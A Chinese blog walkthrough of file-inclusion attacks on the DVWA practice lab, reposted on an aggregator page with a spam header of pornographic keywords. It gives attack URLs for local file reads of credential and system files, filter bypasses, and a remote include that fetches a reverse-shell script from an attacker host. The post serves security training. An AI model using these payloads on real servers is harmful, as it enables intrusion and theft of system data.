日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA---文件包含

發布時間:2025/3/19 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA---文件包含 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文件包含定義
開發人員將相同的函數寫入單獨文件中,需要使用某個函數時直接調用此文件,無需再次編寫,這種文件調用的過程稱文件包含
文件包含漏洞定義
文件包含漏洞是指當服務器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分為本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后,服務期允許包含一個遠程文件)
本地文件包含
本地包含文件就是通過瀏覽器包含web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾允許遍歷目錄的字符注入瀏覽器并執行;
遠程文件包含
遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好腳本。此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊,甚至在目標服務器上執行代碼;

文件包含與目錄遍歷的區別
(1)目錄遍歷根源在于對路徑的訪問權限設置不嚴格,針對于本系統。
(2)文件包含是利用函數來包含web目錄以外的文件并執行;

文件包含函數
php中文件包含函數
require:找不到被包含的文件,報錯,并且停止運行腳本
include:找不到被包含的文件,只會報錯,但會繼續運行腳本
require_once:與require類似,區別在于當重復調用同一文件時,程序只調用一次
include_once:與include類似,區別在于當重復調用同一文件時,程序只調用一次

文件包含的特征
URL欄中有以下內容則可能存在文件包含
?page=
?file=
?home=

DVWA實現文件包含前提
dvwa->打開配置文件->php-ini 查找allow_url_fopen(遠程文件包含)、allow_url_include(本地文件包含)均將off改為on
實現過程
LOW級別
源碼

可見獲取了page后的參數,之間交給文件包含函數進行執行

  • Windows常見的敏感信息路徑
    系統版本:C:\boot.ini
    IIS配置文件:C:\windows\system32\inetsrv\MetaBase.xml
    存儲Windows系統初次安裝的密碼:C:\windows\repair\sam
    查看php配置信息:C:\windows\php.ini
  • Linux常見的敏感信息路徑
    系統用戶信息:/etc/passwd
    DNS配置文件:/etc/resolv.conf
    ssh生成文件:/root/.ssh/known_hosts
    網絡配置文件:/etc/network/interfaces
    本地文件包含
    (1)查看 C:\phpStudy\PHPTutorial\WWW\phpinfo.php
    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=C:/phpStudy/PHPTutorial/WWW/phpinfo.php

    (2)在03服務器中新建1.txt (復制phpinfo.php中內容),查看C:\phpStudy\PHPTutorial\WWW\1.txt 照樣執行

    對于PHP環境,被包含的文件會優先被當作php文件進行解析,如果被包含的文件中存在php代碼,那么就會按照php類型執行該文件中的php代碼;如果不包含php代碼,則會將其中的內容全部原樣打印處理。
    遠程文件包含
    實驗場景
    A:存儲腳本的主機,即為受害者主機(kali 192.168.254.129)
    B:存在文件包含漏洞的瀏覽器(win10)
    C:遠程連接的主機,獲取反彈shell的主機【即腳本里指定的連接主機】(kali192.168.254.129)

    實驗原理
    A主機中存在反彈shell腳本,其中指定連接到主機C,主機B遠程包含反彈shell腳本,交由A執行;A執行腳本后,C便可獲取A的反彈shell;一般情況下文件包含與文件上傳聯合使用;

    實現過程
    Kali的反彈腳本:/usr/share/webshells/php/php-reverse-shell.php
    將其改名為getshell.php 并復制到/var/www/html下;


    修改要連接的主機IP(KALI)以及端口

    打開apache

    dvwa執行文件包含漏洞,C主機開始監聽
    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=http://192.168.254.129/getshell.php

    提權成功
    medium級別
    源碼

    使用str_replace函數進行替換,可以通過雙寫進行繞過
    解決辦法
    http:// —> htthttp://p://
    …/(回到上一層) —> …/./
    …\ (回到上一層) —> ….

    實驗過程
    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./1.txt

    high級別
    源碼

    使用fnmatch()確保$file是以file開頭
    解決辦法
    file:///c:\phpStudy\PHPTutorial\WWW\1.txt;此時無法再利用遠程文件包含,只可使用本地文件包含,若想執行遠程代碼,需要配合文件上傳漏洞利用。

    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///c:\phpStudy\PHPTutorial\WWW\1.txt

    impossible級別
    基于白名單進行防御,確保page參數傳遞的只能是固定的文件名;
    常見的防范措施
    1、過濾各種…/,http://,https://
    2、配置php.ini配置文件(allow_url_fopen=off、allow_url_include=off)
    3、基于白名單進行防御

嗯嗯~~就這么多了

總結

以上是生活随笔為你收集整理的DVWA---文件包含的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。